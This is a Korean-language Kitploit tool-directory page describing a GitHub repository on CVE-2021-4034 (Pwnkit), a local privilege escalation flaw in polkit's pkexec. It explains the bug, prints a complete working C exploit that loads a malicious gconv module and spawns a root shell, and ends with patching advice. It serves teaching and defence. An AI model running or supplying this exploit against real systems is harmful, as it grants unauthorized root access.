Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-4034 — Polkit의 로컬 권한 상승(LPE) 취약점 - Pwnkit | Kitploit
도구/GitHubGitHub/lucaspdiniz/cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHublucaspdiniz/cve-2021-4034

CVE-2021-4034

Polkit의 로컬 권한 상승(LPE) 취약점 - Pwnkit

저장소 보기
1102년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Pwnkit 취약점 - CVE-2021-4034 📗

소개

2021년에 발견되었지만 2022년 1월에 발표 및 공개된 CVE-2021-4034는 애칭으로 Pwnkit이라고 불리며, 거의 모든 OS - Linux 배포판의 Policy Toolkit - Polkit 패키지의 모든 버전에서 존재합니다. 요컨대, 이 취약점은 권한이 없는 공격자가 OS 관리자로 수직 권한 상승을 할 수 있게 합니다.

[!IMPORTANT] 이 취약점은 pkexec 버전 0.105 이하에서 찾을 수 있습니다.

매우 심각한 CVE임에도 불구하고, NIST.GOV에 따르면 **CVSS 점수 7.8점**으로 분류되며, 로컬에서만 악용 가능합니다. 즉, 원격(웹 접근)으로 악용할 수 없습니다.

Polkit이란? ❓

Polkit은 Linux 인증 시스템 역할을 합니다. 권한이 낮은 사용자가 높은 권한(예: 관리자)이 필요한 작업을 수행해야 할 때, polkit은 해당 사용자에게 필요한 권한이 있는지 확인합니다.

예를 들어, PKexec 유틸리티를 사용하여 polkit 함수를 호출할 수 있으며, 이 함수는 권한을 확인하고 권한이 없으면 비밀번호를 요청합니다. 아래 예제와 같습니다;

취약점 설명 ⚠️

위에서 본 것처럼 Pwnkit 취약점은 PKexec(권한 확인 과정)에 존재합니다. 이 취약점의 경우 PKexec가 명령줄(CLI)로 실행될 때 매개변수 처리에 보안이 없어, 공격자가 환경을 조작할 수 있으며 **"Out-of-Bounds Write"**라는 결함이 발생합니다.

PKexec는 for 루프를 사용하여 전달된 명령줄 인수를 구문 분석하며, 인덱스 1부터 시작하여 프로그램 이름을 건너뛰고 첫 번째 실제 인수를 얻습니다. 프로그램 이름은 인수 구문 분석과 관련이 없으므로 인덱싱은 단순히 이를 무시하도록 오프셋됩니다.

따라서 인수를 정의하지 않으면 인덱스는 자동으로 1로 설정됩니다.

아래 예제를 만들어 보겠습니다.

for(n=1; n < number_of_arguments; n++){
}

인수 개수가 0이면 'N'은 인수 개수보다 작지 않습니다. 따라서 'N'은 1로 유지되고 루프는 완전히 우회됩니다(Bypassed Completely), 루프가 실행되지 않습니다.

명령줄 인수가 없으므로 인덱스 n에 인수가 없습니다. 대신 프로그램은 메모리의 다음 항목을 덮어쓰는데, 이는 execve()라는 C 함수를 사용하여 프로그램을 호출할 때 환경 변수 목록의 첫 번째 값이 됩니다. 즉, PKexec에 null 인수 목록을 전달함으로써 환경 변수를 덮어쓰도록 강제할 수 있습니다.

탐험해 보자!!! ✏️

이 취약점을 쉽게 악용하는 여러 가지 방법과 다양한 인터넷 스크립트가 있습니다. 시간을 절약하기 위해, 우리 친구 Arthepsy의 저장소에 있는 C로 작성된 이 취약점을 실행하는 스크립트를 사용하겠습니다.

이 스크립트는 GCONV_PATH 변수를 이용하여 루트로 /bin/sh를 호출하는 공유 객체를 포함시킵니다.

Arthepsy - CVE-2021-4034 - exploit.c

스크립트를 실행하기 전에, 취약한 호스트에 대한 접근 권한을 확인하겠습니다.

1000번 사용자(루트 아님)가 있으며, Useradd와 같은 관리자 기능을 수행할 수 없습니다.

  • 실행해 보자 🔥

루트 사용자에 접근하여 Useradd와 같은 일부 기능을 실행할 수 있었습니다 (오류는 다른 문제를 나타내지만, 루트로 프로세스를 수행할 수 있었습니다).

완료 ✔️

조금 더 분석 💡

이 탐험을 마무리하기 위해, 아래의 익스플로잇 스크립트를 간단히 살펴보겠습니다;

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

기본적으로 앞서 설명한 PKexec 인수를 악용하여 GCONV_PATH 환경 변수를 /bin/sh로 덮어쓰고 stuid(0)(root)를 설정합니다.

패치 ✅

OS 패키지 자체에 이미 수정된 버전이 제공되고 있으며, sudo apt update && sudo apt upgrade 명령만 수행하면 시스템의 이 문제를 해결할 수 있습니다.

도구 다운로드